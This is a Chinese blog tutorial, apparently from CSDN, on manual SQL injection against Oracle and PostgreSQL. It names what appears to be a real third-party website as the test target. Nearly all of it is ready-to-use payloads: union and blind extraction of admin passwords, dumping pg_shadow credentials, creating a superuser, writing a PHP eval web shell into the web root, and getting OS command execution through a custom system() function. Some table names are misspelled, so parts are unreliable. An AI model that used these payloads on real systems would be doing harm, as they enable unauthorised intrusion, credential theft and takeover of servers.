渗透篇05-SQL Injection漏洞详解--手工挖掘(Oracle&Postgresql篇)

版权声明:本文属于Shavchen的原创文章,未经允许,禁止转载! https://blog.csdn.net/qq_38055050/article/details/79954691

一、Oracle注入详解:

                            脚本语言asp,aspx,jsp 

                            web服务器:tomcat

测试站点:http://www.e-hifarms.com/yellowpage/detail.jsp?id=111
判断注入
判断oracle数据库:
id=1 and exists(select * from dual)
id=1 and exists(select * from user_tables)
以上是oracle特有的表
获取列数:order by
联合查询:union select null,null,null,null from dual
爆非数字类型列:union select 1,null,null,null from dual 若报错该列为非数字类型列
   union select 'null',null,null,null from dual 若报错该列为非字符类型列
获取数据库版本:(select banner from sys.v_$version where rownum=1)
获取操作系统版本:(select member from v$logfile where rownum=1)
获取当前用户:(select SYS_CONTEXT('USERENV''CURRENT_USER')from dual)
获取数据库:(select owner from all_tables where rownum=1)
            eg(在非数字类型列上try):union select (select member from v$logfile where rownum=1),null,null,null from dual

获取第一个表:

                                    union select (select table_name from user_tables where rownum=1),null,null,null from dual

获取第二个表:假设第一个表为A
    union select (select table_name from user_tables where rownum=1 and table_name<>'A'),null,null,null from dual
获取列名:假设获取表名为admin,第一个列名为name,第二个pass
 union select (select column_name from user_tap_columns where table_name='admin' and rownum=1),null,null,null from dual
 union select (select column_name from user_tap_columns where table_name='admin' and rownum=1 and column_name<>'name'),null,null,null from dual
获取数据库:
     union select 1,2,name,4,5,6 from admin
     union select 1,2,pass,4,5,6 from admin
               id=1 and (select count(*) from admin)<>0  返回正常,存在admin表

判断该网站下有多少管理员:and (select count(*) from admin)=1 返回正常为1
指定表名获取列名:and (select count(pass) from admin)>=0 返回正常说明存在name字段
猜解账号密码长度-ascii码:
and (select count (*) from admin where length(pass)>=5)=1 
猜测admin表下pass列是否为5个字符
and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1
#substr函数用于截取字符串,判断第一行第一个字符是否为a  
and (select count(*) from admin where ascii(substr(name,2,1))>=97)=1

二、postgresql注入详解:
判断是否为postgresql:
id=1 +and+1::=1-- 
判断版本:+and+1=cast(version()as int)--
判断当前用户:and 1=cast(user||123 as int)
postgres相当于SA
判断有多少字段:
order by

union select null,‘null’,null

union select null,user,null                                                                                                                                                                                               #判断当前用户

union select null,version(),null                                                                                                                                                                                       #判断数据库版本信息
union select null,current_schema(),null                                                                                                                                                                           #判断当前用户权限
union select null,current_database(),null                                                                                                                                                                       #判断当前数据库名称
union+select+null,relname,null from pg_star_user_tables                                                                                                                                      #获取当前id连接的表名
union+select+null,column_name,null+from+information_schema.column+where+table_name='admin'                                                                 #获取admin表下的列
+union+select+null,name||pass,null+from+admin                                                                                                                                                      #查看admin表下name和pass列的内容
+union+select+null,username||chr(124)||passwd,null+from+pg_shadow                                                                                                                    #查看postgresql数据库的账号密码
;create+user+seven+with+superuser+password+'seven'--                                                                                                                                         #创建用户

;alter+user+postgres+with+password+'123456'--                                                                                                                      # 修改postgres的密码写shell:要求较高权限

三、写shell:要求较高权限

1、
id=1 ;create table shell(shell text not null);
id=1;insert into shell values($$<?php @eval($_POST[cracer]);?>$$);
id=1;copy shell(shell) to 'c:/Inetpub/wwwroot/postgresql_sql/shell.php';
    2、
                     ;copy (select '$$<?php @eval($_POST[cracer]);?>$$') to 'c:/Inetpub/wwwroot/postgresql_sql/shell.php''

                读文件前20行:
                pg_read_file('c:/windows/system32/inetsrv/metabase.xml',1,20) 获取网站根路径
创建system函数:要求版本大于8:
        创建一个system的函数:
        create FUNCTION system(cstring) RETURNS int AS 'lib/lib.so.6','system' LANGUAGE 'C' STRICT
        创建一个输出表:
        create table stdout(id serial,system_out text)
        执行shell,输出到表内:
        select system('uname -a>/tmp/test')
        copy输出的内容到表里面:
        COPY stdout(system_out) FROM '/tmp/test'
        从输出表内读取执行后的回显,判断是否执行成功:
        union all select NULL,(select stdout from system_out order by id desc),NULL limit 1 offset 1--
                  数据库备份还原:假设拥有postgres用户权限
        远程备份数据库到本地:
        pg_dump -O -h 192.168.0.5 -U postgres mdb >c:\mdb.sql
        pg_dump -O -h 192.168.0.5 -U dbowner -w -p 5432 SS >SS.sql 
        还原数据库:
        psql -h localhost -U postgres -d mdb
实战流程:
判断注入————>创建表x————>写入一句话————>导出一句话到网站根目录————>菜刀连接
阅读更多
想对作者说点什么?

博主推荐

换一批

没有更多推荐了,返回首页